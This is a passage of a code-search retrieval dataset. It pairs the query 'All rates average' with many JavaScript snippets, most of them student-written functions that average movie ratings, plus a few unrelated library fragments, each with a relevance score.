(!canAccessResource(req, req.url.substr(1).split('?')[0].replace('.json', '.*'), req.method)) {\n res.send(JSON.stringify({\"description\":\"forbidden\", \"code\":403}), 403);\n } else { \n try {\n callback(req,res); }\n catch (ex) {\n if (ex.code && ex.description) {\n res.send(JSON.stringify(ex), ex.code); }\n else {\n console.error(spec.method + \" failed for path '\" + require('url').parse(req.url).href + \"': \" + ex);\n res.send(JSON.stringify({\"description\":\"unknown error\",\"code\":500}), 500);\n }\n }\n }\n }); \n } else {\n console.log('unable to add ' + currentMethod.toUpperCase() + ' handler'); \n return;\n }\n}", "title": "" }, { "docid": "cfbb0f63eb53aa5596d81297a545c5ff", "score": "0.43541417", "text": "function addExtensionMethods() {\n _addTracingExtensions();\n\n // Detect and automatically load specified integrations.\n if (isNodeEnv()) {\n _autoloadDatabaseIntegrations();\n }\n\n // If an error happens globally, we should make sure transaction status is set to error.\n registerErrorInstrumentation();\n }", "title": "" }, { "docid": "c03f4d742b9d7bea6d2ee14e2f9e44eb", "score": "0.43523544", "text": "function changeResourcesKeyValue() {\n throw 'Not Implemented';\n}", "title": "" }, { "docid": "d64b5459b001891eb2489c58c2417912", "score": "0.43460146", "text": "async function updateAManagedDiskToAddSupportsHibernation() {\n const subscriptionId = process.env[\"COMPUTE_SUBSCRIPTION_ID\"] || \"{subscription-id}\";\n const resourceGroupName = process.env[\"COMPUTE_RESOURCE_GROUP\"] || \"myResourceGroup\";\n const diskName = \"myDisk\";\n const disk = { supportsHibernation: true };\n const credential = new DefaultAzureCredential();\n const client = new ComputeManagementClient(credential, subscriptionId);\n const result = await client.disks.beginUpdateAndWait(resourceGroupName, diskName, disk);\n console.log(result);\n}", "title": "" }, { "docid": "4d70ca16d3f5ce3f5d41077f9e148538", "score": "0.43452817", "text": "function addExtensionMethods() {\n\t _addTracingExtensions();\n\n\t // Detect and automatically load specified integrations.\n\t if (isNodeEnv()) {\n\t _autoloadDatabaseIntegrations();\n\t }\n\n\t // If an error happens globally, we should make sure transaction status is set to error.\n\t registerErrorInstrumentation();\n\t}", "title": "" }, { "docid": "78233b7ed48ba1ab0168cfaf7e7c6f1a", "score": "0.43445688", "text": "function addExtensionMethods() {\n _addTracingExtensions();\n\n // Detect and automatically load specified integrations.\n if (utils$1.isNodeEnv()) {\n _autoloadDatabaseIntegrations();\n }\n\n // If an error happens globally, we should make sure transaction status is set to error.\n errors.registerErrorInstrumentation();\n}", "title": "" }, { "docid": "c1afc629c5299510e1fc4153b8909e8e", "score": "0.4343048", "text": "init() {\n module_utils.patchModule(\n 'amazon-dax-client',\n '_makeWriteRequestWithRetries',\n DAXWrapper,\n AmazonDaxClient => AmazonDaxClient.prototype\n );\n\n module_utils.patchModule(\n 'amazon-dax-client',\n '_makeReadRequestWithRetries',\n DAXWrapper,\n AmazonDaxClient => AmazonDaxClient.prototype\n );\n }", "title": "" } ]
3187adc8f03adb639b20e078b58eaf6f
Iteration 4: All rates average Get the average of all rates with 2 decimals
[ { "docid": "118e340dce0496d6d2765ce85e37382d", "score": "0.7234416", "text": "function ratesAverage(array) {\n if (array == 0) {\n return 0;\n }\n\n let filterRate = array\n .filter(films => films.rate)\n .reduce((acc, film) => acc + film.rate, 0);\n\n return +(filterRate / array.length).toFixed(2);\n}", "title": "" } ]
[ { "docid": "aba002532e54eb998f7fcb8703006e3e", "score": "0.80323", "text": "function ratesAverage(arr) {\n let sum = 0;\n if (arr.length === 0) {\n return 0;\n }\n\n for (i = 0; i < arr.length; i++) {\n sum += arr[i].rate \n} \nlet average = sum / arr.length;\nreturn parseFloat(average.toFixed(2));\n\n\n}", "title": "" }, { "docid": "971b98b2f7ee483016de4a4122420597", "score": "0.7999046", "text": "function ratesAverage(arr) {\n if (arr.length === 0) \n return 0;\n let allRates = arr.reduce(function(sum, elem){\n return sum += elem.rate || 0;\n },0)\n let myAverage = allRates / arr.length; \n return Number(myAverage.toFixed(2));\n}", "title": "" }, { "docid": "0995c648edc7dc95e3ee6b2b74a6adcf", "score": "0.7983389", "text": "function ratesAverage(array) {\n var ratesTotal = array.reduce(function (previous, current){\n return previous + parseFloat(current.rate);\n},0)\n return (ratesTotal / array.length).toFixed(2);\n}", "title": "" }, { "docid": "f967403afd0c2b6bc67ebb9abc7823af", "score": "0.79654664", "text": "function ratesAverage (arr){\n let extract = arr.map(a => parseFloat(a.rate));\n let divis = arr.length;\n var redu = extract.reduce( (add, cum) => add+cum );\n return (redu/divis).toFixed(2); \n}", "title": "" }, { "docid": "6b2a0f3726fff570054901931dcf9221", "score": "0.7943965", "text": "function ratesAverage(arr) {\n return arr.reduce(function(acc, elm) {\n return acc + (parseFloat(elm.rate) / arr.length);\n }, 0).toFixed(2)\n}", "title": "" }, { "docid": "4c062b6824982588de095b64855efd79", "score": "0.782538", "text": "function ratesAverage(array){\n var totalRates = array.reduce(function(suma, numero){\n return suma + Number(numero.rate);\n\n }, 0)\n\n return Number((totalRates/array.length).toFixed(2));\n}", "title": "" }, { "docid": "376625969604de89deffc216b9a6ed30", "score": "0.78193617", "text": "function ratesAverage (arr) {\n return arr.length === 0 ? 0 : Math.round((arr.reduce((acc, el) => (typeof el.rate !== \"number\") ? acc : acc + el.rate, 0)) / arr.length * 100) / 100;\n}", "title": "" }, { "docid": "b1fa9c2b48555f77f9596310aa02eded", "score": "0.7803653", "text": "function ratesAverage(array) {\n\n if (array.length == 0) {\n return 0\n }\n\n\n let totalRates = array.reduce((a, c) => {\n\n return a + (c.rate ? c.rate : 0);\n\n\n\n\n }, 0);\n\n\n let avgRate = (totalRates / array.length).toFixed(2);\n\n return Number(avgRate);\n\n}", "title": "" }, { "docid": "dc5a90a1072274062f12db5bb2fa1353", "score": "0.77955127", "text": "function ratesAverage(arr) {\n if (!arr.length) {\n return 0;\n } else {\n let rates = arr.filter(data => data.rate);\n let ratesMapped = rates.map(f => f.rate); /// USE FILTER!!!\n let reduced = ratesMapped.reduce((acc, next) => acc + next) / arr.length;\n\n return parseFloat(reduced.toFixed(2));\n }\n}", "title": "" }, { "docid": "bed7af017d2dca61e019477cb53d948b", "score": "0.77495015", "text": "function ratesAverage(array){\n var sum = array.reduce(function(acc,currentValue){\n return acc += currentValue.rate; // return acc+currentValue.rate\n },0);\n return Math.round((sum/array.length)*100)/100; //parseFloat para indicar 2 decimales, ver no funcina\n}", "title": "" }, { "docid": "ec8d845455318a4da64788bff54d5776", "score": "0.7713843", "text": "function ratesAverage(arr) {\n const contador = arr.length\n const sum = arr.reduce((acc, current) => acc + parseInt(current.rate), 0)\n const average = (sum / contador).toFixed(2)\n console.log(average)\n return parseInt(average)\n}", "title": "" }, { "docid": "6277f5d2fff3e99e0d48d7410adb5332", "score": "0.770124", "text": "function ratesAverage(arr) {\n var averageRate = arr.reduce(function(acc,element) {\n if (element.rate) {\n return acc + parseFloat(element.rate);\n } else { \n return acc;\n }\n }, 0)\n var rate = parseFloat(averageRate/arr.length);\n rate = Math.round(rate*100)/100;\n return rate;\n}", "title": "" }, { "docid": "a2a554098dc6245c6ee9f84845686f44", "score": "0.76761293", "text": "function ratesAverage(array) {\n var ratingsArray = [];\n array.forEach(function(obj){\n var ratingNum = Number(obj.rate);\n ratingsArray.push(ratingNum);\n });\n var totalSum = ratingsArray.reduce(function(sum,elem) {\n return sum+elem;\n });\n return Number(totalSum/ratingsArray.length).toFixed(2);\n }", "title": "" }, { "docid": "71734e0e39445b7c0cdd4b37c23d0466", "score": "0.76141346", "text": "function ratesAverage(array){\n if(array.length === 0){\n return 0\n }\n let average = array.reduce((acc, elem)=>{\n return acc + elem.rate\n }, 0)\n return average / array.length\n }", "title": "" }, { "docid": "da714860ab0029cc86c8dfeb23097eef", "score": "0.7610109", "text": "function ratesAverage(arr) {\n let sum = arr.reduce(function(accumulator, value) {\n if (value.rate !== \"\") {\n accumulator += parseFloat(value.rate);\n } else {\n accumulator += 0;\n }\n return accumulator;\n }, 0);\n return Math.round((sum / arr.length) * 100) / 100;\n}", "title": "" }, { "docid": "6f46247bab0e9c863e4530e3c01ef4cc", "score": "0.76089674", "text": "function ratesAverage(arr) {\n const arr2 = [...arr];\n const ratesArr = arr2.map(function(movie) {\n return movie.rate; // ratesArr contains all rates into array\n });\n const rateTotal = ratesArr.reduce(function(sum, movie) {\n return sum + movie.rate;\n }, 0);\n\n let averageRate = rateTotal / ratesArr.length;\n // let averageRateRounder = Math.round(averageRate * 100) / 100;\n return averageRateRounder;\n}", "title": "" }, { "docid": "d788a24d888f1e794d5140579281872a", "score": "0.7596575", "text": "function ratesAverage(array){\n\n return Math.round(array.reduce(function(total , e){\n if(!e.rate){e.rate=0};\n return total + parseInt(e.rate);\n },0) / (array.length) *100)/ 100\n}", "title": "" }, { "docid": "737abeac6b5a575b5d43f7fd3bc9f623", "score": "0.7592896", "text": "function ratesAverage(array) {\n const averageRate = array.reduce((total, currentValue) => {\n return total + currentValue.rate\n }, 0) / array.length;\n return Math.round(averageRate * 100) / 100\n}", "title": "" }, { "docid": "a62e1d7e57c03f16d72c269e270efd99", "score": "0.7585737", "text": "function ratesAverage (){\n var sum = movies.reduce(function (sum, placeholder) {\n return Number(sum) + Number (placeholder.rate);\n }, 0 );\n var avgratesAverage = Math.round(sum/ movies.length * 100) / 100;\n \n return avgratesAverage\n }", "title": "" }, { "docid": "5ef2bcc40c91dfb1ec7bd27df8702716", "score": "0.7577953", "text": "function ratesAverage(array){\n let sum = 0\n let sumAverage = array.reduce(function(accumulator, currentValue, index){//no se hacer para que index empiece en 0 en vez de 1...(según la documentación si nombras ese parametro empieza en 0 pero no está funcionando así)\n sum = sum+array[index].rate\n return accumulator + array[index].rate\n });\n let totalAverage = (sum / sumAverage.length) //al ser un string (\"Object Object media\") tiene mucho length y por eso sale un num pequeño\n totalAverage = parseFloat(totalAverage).toFixed(2)\n return totalAverage\n}", "title": "" }, { "docid": "cfc20a7cee26c804f31209ae2fadbc5b", "score": "0.75766456", "text": "function ratesAverage(newArr) {\n let array4 = [...newArr];\n const rates = array4\n .map(function(rateObj, i) {\n if (rateObj.rate >= 8 && rateObj.rate <= 8.9) return rateObj.rate;\n })\n .reduce(function(acc, rateObj, i, originalArr) {\n let updatedAcc = acc + rateObj.rate;\n\n return updatedAcc;\n }, 0);\n let average = updatedAcc / array4.length;\n let averageRounded = average.toFixed(2);\n\n return rates;\n}", "title": "" }, { "docid": "8b32d84850276d3dfdd6446ce22c23b5", "score": "0.75685006", "text": "function ratesAverage(array){\n\n if(array.length == 0){\n return 0;\n }\n\n let total = array.reduce( (a, c) =>{\n if(c.rate){\n return a + c.rate;\n }\n else{\n return a + 0;\n }\n }, 0);\n\n let avgRate = (total / array.length).toFixed(2);\n return Number(avgRate);\n\n}", "title": "" }, { "docid": "9b0d900eaf626477ed840eea420cc5c6", "score": "0.7566681", "text": "function ratesAverage(array) {\n let sumRates = 0;\n if (array.length > 0) {\n array.reduce((result, item) => {\n if (!item.rate) {\n return 0;\n } else {\n return (sumRates = result + item.rate);\n }\n }, 0);\n } else {\n return 0;\n }\n let avg = +(sumRates / array.length).toFixed(2);\n return avg;\n}", "title": "" }, { "docid": "987c10039668b67943759cf7b080f702", "score": "0.7561628", "text": "function ratesAverage(array) {\n if (array <= 0) {\n return 0;\n }\n let totalRate = array.reduce(function (acc, currentValue) {\n if (currentValue.rate === undefined) {\n return acc;\n }\n return acc + currentValue.rate;\n }, 0);\n return Number((totalRate / array.length).toFixed(2));\n}", "title": "" }, { "docid": "6b8111420e344204a5146ee76531d8d6", "score": "0.7542222", "text": "function ratesAverage(arr) {\n if (arr.length === 0) {\n return 0;\n }\n \n let rates = arr.reduce(function(accumulator, movieRates) {\n return accumulator + movieRates.rate;\n },0);\n const averageRates = Math.round((rates / arr.length) * 100) / 100;\n return averageRates;\n }", "title": "" }, { "docid": "327d66b016096aa9177404713baa7b37", "score": "0.7541396", "text": "function ratesAverage(matrix) {\n\n if (matrix.length) {\n\n let resutl = matrix.reduce(function (acc, e) {\n if (!e.rate || e.rate == \"\"){\n return acc;\n }\n return acc + e.rate;\n }, 0) / matrix.length;\n\n resutl = resutl.toFixed(2);\n resutl = parseFloat(resutl);\n\n return resutl;\n }\n return 0;\n }", "title": "" }, { "docid": "90487ed82f72aa03a34805d5bad934f0", "score": "0.75404334", "text": "function ratesAverage(arr){\n var sum = arr.reduce(function(acc, movie){\n return acc += movie.rate\n }, 0);\n return parseFloat((sum / arr.length).toFixed(2))\n}", "title": "" }, { "docid": "3012577552984b8f1d9b5b8dd48d16fc", "score": "0.75058085", "text": "function ratesAverage(array) {\n if (array.length === 0) {\n return 0;\n }\n const totalRates = array.reduce((acc, movie) => {\n if (movie.rate) {\n return acc += movie.rate;\n }\n return acc;\n }, 0);\n const avgRate = totalRates / array.length;\n\n return Number(avgRate.toFixed(2)); // Sin Number no redondea a 2 decimales.\n}", "title": "" }, { "docid": "8afc99411e58aa4f0859609530cda0c4", "score": "0.75033283", "text": "function ratesAverage(arr) {\n let suma = arr.reduce((acc, movie) => {\n if (movie.rate == \"\") movie.rate = 0;\n return (acc += parseFloat(movie.rate));\n }, 0);\n let average = suma / arr.length;\n return parseFloat(average.toFixed(2));\n}", "title": "" }, { "docid": "74a4db87c04120fe6e51a466858ca01e", "score": "0.74903065", "text": "function ratesAverage(array){\n var sum = array.reduce(function(acc, currentValue){\n return acc+currentValue.rate;\n },0);\n return sum/array.length;\n}", "title": "" }, { "docid": "c78985bf5a5326ebe12a12e9761d034e", "score": "0.7470838", "text": "function ratesAverage(array){\n var total = array.reduce(function(accum, e){\n return accum +e.rate; \n },0)\n\n var average = Math.round((total/array.length)*100) /100;\n return average;\n\n}", "title": "" }, { "docid": "0bb044bfbe0d3faa9c86891d8c355e91", "score": "0.7445172", "text": "function ratesAverage(movies) {\n \n const todo_rates = movies.reduce((acc, elm) => acc + parseFloat(elm.rate),0)\n\n console.log(todo_rates)\n\n var avgrates = parseFloat((todo_rates/movies.length).toFixed(2))\n return avgrates; \n}", "title": "" }, { "docid": "193f5cf697bc56da04050eee24392995", "score": "0.74283546", "text": "function ratesAverage(inputArray) {\n\n let x = [];\n let numOfNoRate = 0;\n\n inputArray.forEach(element => {\n if (\"rate\" in element) {\n x.push(element.rate);\n }\n else {\n numOfNoRate++;\n }\n });\n\n let average = 0;\n let sum = 0;\n\n for (let i = 0; i < x.length; i++) {\n sum += x[i];\n }\n\n if (x.length > 1) {\n average = sum / (x.length + numOfNoRate);\n }\n else {\n average = sum;\n }\n\n return (Math.round(average * 100) / 100);\n}", "title": "" }, { "docid": "a5f85ee6b62fe92e9771853181b94b73", "score": "0.7407378", "text": "function ratesAverage(array) {\n let sum = array.reduce((acc, movie) => {\n if (movie.rate == \"\") movie.rate = 0;\n return (acc += parseFloat(movie.rate));\n }, 0);\n let average = sum / array.length;\n return parseFloat(average.toFixed(2));\n}", "title": "" }, { "docid": "b4284f82a64a0a9b6bffabf2e49babbb", "score": "0.74021083", "text": "function ratesAverage(array) {\n if (array.length < 1 || array.length == null || array.length == undefined) {\n return 0\n } else {\n return +(theAverageScoreArray(array).reduce((accumulator, currentValue) => accumulator + currentValue)/array.length).toFixed(2);\n }\n}", "title": "" }, { "docid": "843a0bde7e4b112fa2ba08a8ec95e4b6", "score": "0.7387639", "text": "function ratesAverage(movies) {\n if (movies.length == 0) return 0;\n const reducer = (acc, currentValue) =>\n currentValue.rate !== undefined ? acc + currentValue.rate : acc;\n sum = movies.reduce(reducer, 0);\n avg = sum / movies.length;\n avgdecimals2 = avg.toFixed(2);\n console.log(Number(avgdecimals2));\n return Number(avgdecimals2);\n}", "title": "" }, { "docid": "bbce9f88161176f6b8e4d34a2f28e4ce", "score": "0.73396045", "text": "function ratesAverage(ratesObject) {\n const sumRates = ratesObject.reduce((accumulator, currentValue) => {\n return accumulator + parseFloat(currentValue.rate)\n },0)\n const rateAverageCalculated = sumRates / ratesObject.length\n const fixDecimals = rateAverageCalculated.toFixed(2);\n return Number(fixDecimals);\n}", "title": "" }, { "docid": "1a382c479780a3e3598b30cbd621aa3e", "score": "0.7321934", "text": "function ratesAverage(peliculas){\n\n var sumaRates = peliculas.reduce(function(accumulator, current){\n return accumulator+(current.rate/peliculas.length);\n },0)\n console.log(sumaRates)\n return Math.round(sumaRates*100)/100;\n }", "title": "" }, { "docid": "d1a85e863ae31b4709c435b6b63f7926", "score": "0.7317256", "text": "function ratesAverage(array){\n var average = array.reduce(function(sum, movie){\n return sum += parseFloat(movie.rate);\n }, 0);\n return average/array.length;\n}", "title": "" }, { "docid": "bc0144a64a0ced8689f67f3e48cb4231", "score": "0.73051584", "text": "function ratesAverage(array) {\n var averageRate = array.reduce(function(sum, oneMovie) {\n var totalRate = sum + parseInt(oneMovie.rate);\n\n return totalRate;\n }, 0);\n\n var stringResult = (averageRate / array.length).toFixed(2);\n return parseFloat(stringResult);\n}", "title": "" }, { "docid": "b45c37773de844b84e0b5c02672368ad", "score": "0.7301754", "text": "function ratesAverage(movies) {\n\n if (movies.length < 1) {\n return 0\n }\n\n\n const rateAvg = movies.reduce ((acc, elm) => {\n if (elm.rate){\n return (acc + elm.rate)\n } else {\n return acc\n }\n }, 0)\n\n\n let rateAvg2 =(rateAvg/movies.length).toFixed(2)\n \n console.log(rateAvg2)\n return parseFloat (rateAvg2)\n}", "title": "" }, { "docid": "4eb2212f94219afd239383243e0463d6", "score": "0.730174", "text": "function ratesAverage(movies){\n var ratesSum = 0;\n for (var i=0; i<movies.length;i++ ){//not movies.rate.length bc you have to do it for all the movies \n ratesSum+=(movies[i].rate);//parseFloat turn string into number;movies[i].rate bc getting rate of each movie\n }\n return parseFloat((ratesSum/movies.length).toFixed(2))//toFixed gives the number a decimal of 2\n}", "title": "" }, { "docid": "62e3c16b491702d6072292b2b4021e78", "score": "0.7287537", "text": "function ratesAverage(movies) {\n var somme = 0;\n for (var i = 0; i < movies.length; i++) {\n if (movies[i].rate) {\n somme += parseFloat(movies[i].rate);\n }\n }\n return Math.round((somme / movies.length) * 100) / 100;\n}", "title": "" }, { "docid": "1687c6d71dc9730d8f9276376a60ad8b", "score": "0.7273949", "text": "function ratesAverage(movies){\n var ratesSum = movies.reduce(function(acc, movie){\n return acc + parseFloat(movie.rate);\n }, 0);\n return ratesSum / movies.length.toFixed(2);\n }", "title": "" }, { "docid": "2d055263058d5f9c7af38eb0085d2138", "score": "0.72589964", "text": "function ratesAverage(array){\n let moviesAvgRate = array.reduce((a,b)=>{\n return Number(a) + Number(b.rate);\n },0)\n\n return Number((moviesAvgRate/array.length).toFixed(2));\n}", "title": "" }, { "docid": "880f8ce4d46e9cd5e48cde71f0dd3408", "score": "0.7245009", "text": "function ratesAverage(film){\n let sum = film.reduce(function(acc, el){\n return Number(acc + el.rate);\n }, 0);\n\n return +(sum/film.length).toFixed(2); \n}", "title": "" }, { "docid": "05db2e4554e69338501d9cd8e1755053", "score": "0.72285825", "text": "function ratesAverage(movies){\nconst totalRates = movies.reduce((sum,elem) => {\n return sum += parseFloat(elem.rate);\n },0);\nconst averageRate = totalRates/movies.length;\nreturn averageRate\n\n}", "title": "" }, { "docid": "91d246aae964f910577f377ed4cae3b2", "score": "0.7201661", "text": "function ratesAverage(movie) {\n let sum = 0;\n for (let i = 0; i < movie.length; i++) {\n sum += movie[i].rate;\n }\n let avg = sum / movie.length;\n return Number(parseFloat(avg).toFixed(2));\n}", "title": "" }, { "docid": "3ec9765f7055001bbff4a6297f59c80a", "score": "0.7196844", "text": "function ratesAverage(array) {\n if(isArrayEmpty(array)) {\n return 0;\n };\n let ratingSum = array\n .filter(movie => movie.rate)\n .reduce(function(sum, movie) {\n return sum + movie.rate;\n }, 0)\n return parseFloat((ratingSum/array.length).toFixed(2));\n}", "title": "" }, { "docid": "e6084e05c8f211b3a1ba7d7a059b2872", "score": "0.7175707", "text": "function ratesAverage(arr) {\n if (arr.length === 0) \n return 0;\n let sumRate = arr.reduce(function (accumulator, item) {\n if (item.rate === undefined) {\n return accumulator;\n }\n return accumulator + item.rate;\n }, 0);\n let totalMovies = arr.length;\n let totalRate = parseFloat((sumRate / totalMovies).toFixed(2));\n return totalRate;\n}", "title": "" }, { "docid": "82a61ce33c434d4480ca2d3891db6a25", "score": "0.71641934", "text": "function ratesAverage (movies) {\n let rates = movies.map(function(movie){\n return movie.rate\n })\n let totalRates = rates.reduce(function(sum, rate){\n return sum + rate\n }, 0)\n let avgRates = totalRates / rates.length;\n return avgRates//.toFixed(2)\n }", "title": "" }, { "docid": "a0dc77a6a3ba9633bf50dbe34953ed90", "score": "0.7162835", "text": "function ratesAverage(movies){\n var average = movies.reduce(function(accumulator, e){\n return accumulator + parseFloat((e.rate)/movies.length);\n }, 0)\n return Math.round(average*100)/100;\n}", "title": "" }, { "docid": "4085f2003dbc53bb469adf2214b2128c", "score": "0.71483713", "text": "function ratesAverage(movie) {\n let sum = 0\n movie.forEach(e => (sum += Number(e.rate)))\n return Number((sum / movie.length).toFixed(2))\n}", "title": "" }, { "docid": "e64523ab8545b3c767822930cbe252fd", "score": "0.7132848", "text": "function ratesAverage(moviesArray) {\n if (moviesArray.length===0){\n return undefined;\n };\n return Number((moviesArray.reduce(function(sum, el){\n return sum+=Number(el.rate);\n }, 0)/moviesArray.length).toFixed(2));\n}", "title": "" }, { "docid": "02326f34d3a9a9d9b3131a0d0fcef5fd", "score": "0.7121255", "text": "function ratesAverage (movies){\n var sum = movies.reduce((accumulator, currMovie) => {\n accumulator = accumulator + Number(currMovie.rate)\n return accumulator\n },0);\n let avg=(sum/movies.length).toFixed(2) \n return Number(avg)\n}", "title": "" }, { "docid": "a74a076b0d30b278eeaabf7cfd21e6cb", "score": "0.70961976", "text": "function ratesAverage(movies) {\n\n let averageRate = movies.reduce((sum, movie) => {\n return sum += parseFloat(movie.rate);\n }, 0);\n\n averageRate = averageRate / movies.length;\n\n return +averageRate.toFixed(2);\n}", "title": "" }, { "docid": "e16519710fedc9daefc977e7488cf675", "score": "0.7092656", "text": "function ratesAverage(movies) {\n let average = movies.filter(movie => movie.rate).reduce(function(total, value) {\n return total + value.rate / movies.length;\n }, 0)\n return Number(average.toFixed(2))\n }", "title": "" }, { "docid": "a675276c3ac523b3893486b397955501", "score": "0.70837986", "text": "function ratesAverage(moviesArr) {\n const sumRates = moviesArr.reduce(function (accumulator, value) {\n return accumulator + parseFloat(value.rate);\n }, 0) / moviesArr.length;\n return sumRates;\n}", "title": "" }, { "docid": "6276bd8e8fc1016cb3fb11554f99b133", "score": "0.70805746", "text": "function ratesAverage (movie) {\n sum=0;\n const avg = movie.reduce(function (acc,movie){\n sum+=Number(movie.rate)\n },0)\n sum/=movie.length\n \n return Number(sum.toFixed(2))\n }", "title": "" }, { "docid": "876d64fca501b51d4185affacf8c2513", "score": "0.707184", "text": "function ratesAverage(movies) {\n var suma = movies.reduce(function(ac, cv) {\n if (cv.rate === '') {\n return ac;\n }\n else {\n return ac += parseFloat(cv.rate);\n }\n }, 0)\n return parseFloat((suma/movies.length).toFixed(2));\n}", "title": "" }, { "docid": "c4915c3892e24d563673224168f66c5a", "score": "0.7068742", "text": "function ratesAverage (movieArray) {\n let rateSum = movieArray.reduce( (accum, movie) =>\n accum + movie.rate, 0) / movieArray.length;\n\n return parseFloat(rateSum.toFixed(2));\n}", "title": "" }, { "docid": "55763fd978ce0b0214d7766b7cb3faa1", "score": "0.7062846", "text": "function ratesAverage(mov){\n var totalRates = mov.reduce(function(sum, rates){\n return sum + parseInt(rates.rate);\n },0);\n return (totalRates/(mov.length));\n}", "title": "" }, { "docid": "8494eb964708ec451246dad07211f8e2", "score": "0.70567507", "text": "function ratesAverage(movies){\n if (movies.length === 0) {\n return 0;\n }\n let rate = movies.reduce((acumulator, value) => acumulator + value.rate, 0);\n let moviesLength = movies.length;\n let rateAverage = rate/moviesLength;\n if (movies.rate === undefined){\n return +(rateAverage.toFixed(2));\n }\n\n}", "title": "" }, { "docid": "10c7e20f5f903a1513350ce0de1e6733", "score": "0.7046582", "text": "function ratesAverage(array) {\n let newArray = []\n for (movie in array) {\n newArray.push(Number(array[movie].rate))\n }\n\n let suma = newArray.reduce((acc, num) => {\n return acc + num\n }, 0)\n\n return suma / newArray.length\n}", "title": "" }, { "docid": "76b5192eb57db6ffa04ae992c9af5692", "score": "0.7034221", "text": "function ratesAverage(movies) {\n if (movies.length === 0) return 0;\n return parseFloat(\n (\n movies.reduce(function (acc, val) {\n return acc + (val.rate || 0);\n }, 0) / movies.length\n ).toFixed(2)\n );\n}", "title": "" }, { "docid": "bc367f5a637e817b8a7c3ca34ffb6f20", "score": "0.7030012", "text": "function yearlyRatesAverage(array){\n var array = getOnlyRatesByYear(array);\n return array.map(function(item){\n if (item.rate.length === 1) {\n return {\n year: item.year,\n rate: Number(item.rate)\n }\n } else if(item.rate.length > 1) {\n return {\n year: item.year,\n rate: parseFloat((item.rate.reduce(function(acc, n){\n return (acc + Number(n));\n }, 0)/item.rate.length).toFixed(2))\n }\n \n } else\n console.log(\"something is wrong in the yearlyRatesAverage function\");\n })\n}", "title": "" }, { "docid": "127ad457fc8be6d5c1af0e1f8f8d1367", "score": "0.7022928", "text": "function ratesAverage(movies) {\n var total = movies.reduce(function(sum, oneMovie) {\n return sum + Number(oneMovie.rate);\n }, 0);\n return Number((total / movies.length).toFixed(2));\n}", "title": "" }, { "docid": "3eb4b83ca841cdb2e04e305dc8d3f658", "score": "0.69838095", "text": "function ratesAverage (moviesArray) {\n let count = 0;\n const finalSum = moviesArray.reduce((sum, movie) => {\n count += 1;\n return typeof movie.rate !== \"number\" ? sum : sum + parseFloat(movie.rate);\n },0)\n return parseFloat((finalSum / count).toFixed(2));\n}", "title": "" }, { "docid": "c9068862c24365c0a4f5744c959409b5", "score": "0.6980813", "text": "function ratesAverage(movies){\n let rate = movies.map(movie=>Number(movie.rate)).reduce((acum, movieRate)=>acum+movieRate)\n return rate/movies.length\n }", "title": "" }, { "docid": "213a5f42a33be0e30f2c019bf984bcef", "score": "0.69776195", "text": "function ratesAverage(movies) {\n const sumaRates = movies.reduce(function(accumulator, currentValue) {\n return accumulator + currentValue.rate;\n }, 0);\n return Math.round((sumaRates / movies.length) * 100) / 100;\n}", "title": "" }, { "docid": "737d4806a1e86589b3311bbd84f20f4e", "score": "0.6965874", "text": "function ratesAverage(movies) {\n let avg = movies.reduce(function (valorAnterior, valorActual, indiceActual, array) {\n valorAnterior.rate = Number.parseFloat(valorAnterior.rate) + Number.parseFloat(valorActual.rate);\n\n return valorAnterior;\n });\n let average = Number.parseFloat((avg.rate.toFixed(2) / movies.length).toFixed(2));\n\n return average;\n}", "title": "" }, { "docid": "2e7f4bd7360a518fe1daa0d85c90f858", "score": "0.69549596", "text": "getAverageRating() {\n const reducer = (accumulator, currentValue) => accumulator + currentValue;\n const averageRating = (this.ratings.reduce(reducer) / this.ratings.length).toFixed(2);\n return averageRating;\n }", "title": "" }, { "docid": "e57d54a491267e12103f37a310bf2988", "score": "0.69534016", "text": "function ratesAverage (moviesArr) {\n\nif (moviesArr.length != 0) {\n const sumRating = moviesArr.reduce((acc, elm) => {\n\n if (elm.hasOwnProperty('rate')){\n \n return acc + Number(elm.rate)\n\n } else {\n\n elm.rate = ''\n return acc + Number(elm.rate)\n } \n }, 0)\n\n return Number((sumRating / moviesArr.length).toFixed(2))\n\n} else {return 0}\n}", "title": "" }, { "docid": "85e4f288d6c6d6903780ce487e18a519", "score": "0.6950691", "text": "function ratesAverage(movies) {\n if (movies.length === 0) return 0; \n const rates = movies.reduce(function (acc, val) {\n return acc + val.rate\n }, 0)\n return Math.round((rates / movies.length) * 100) / 100\n }", "title": "" }, { "docid": "5b618afcc77bba5cc665ff9d0e3fb8a1", "score": "0.6943831", "text": "function ratesAverage(movieArray) {\n if (movieArray.length == 0) {\n return 0;\n }\n let onlyRatedMovies = movieArray.filter((item) => item.rate);\n let allRates = onlyRatedMovies.map((item) => item.rate);\n let total = allRates.reduce((sum, item) => sum + item);\n return Math.round((total / movieArray.length) * 100) / 100;\n}", "title": "" }, { "docid": "9e4fca4dc4971e4c6753652500e93b9d", "score": "0.6943756", "text": "function ratesAverage(movie) {\n var ratings = [];\n for(let i = 0; i < movie.length; i++) {\n ratings.push(Number(movie[i].rate));\n }\n var sum = ratings.reduce(function(accumulator, currentValue) {\n return accumulator + currentValue;\n }, 0);\n return Number(parseFloat(sum/movie.length).toFixed(2));\n}", "title": "" }, { "docid": "17d389b5161f83575e522482027f0637", "score": "0.69333744", "text": "function ratesAverage(arrayOfMovies){\n let total = arrayOfMovies.reduce((accum, eachMovie) => {\n return accum + parseFloat(eachMovie.rate)\n }, 0)\n return (total/arrayOfMovies.length)\n}", "title": "" }, { "docid": "0d16524c97ce63480b3eea20253bec18", "score": "0.69233966", "text": "function ratesAverage(movies){\n if (movies.length === 0){\n return 0;\n };\n let ratesTotal = movies.reduce (function(acc, movie){\n if (movie.rate){\n return acc + movie.rate\n } else {\n return acc;\n }\n }, 0)\n return Math.round((ratesTotal/movies.length) * 100) / 100\n}", "title": "" }, { "docid": "9ba1ee726c9890e9511f5a6e5473df9f", "score": "0.6919671", "text": "function ratesAverage(movies) {\n var count = movies.length;\n var totalRates = movies\n .filter(function(movie) {\n return movie.rate !== \"\";\n })\n .reduce((total, current) => {\n return total + parseFloat(current.rate);\n }, 0);\n return parseFloat((totalRates / count).toFixed(2));\n}", "title": "" }, { "docid": "14738569e1be8a4043dee7b9151c081f", "score": "0.69190425", "text": "function ratesAverage(movies){\n const lenMovies =movies.length\n\n if (lenMovies <1){\n return 0\n }\n\n const average = movies.reduce((acc, elm) => {\n\n if (elm.rate){\n return acc + elm.rate\n }else{\n return acc\n }\n },0)\n\n realAverage = average/lenMovies\n return Math.round(realAverage *100)/100\n}", "title": "" }, 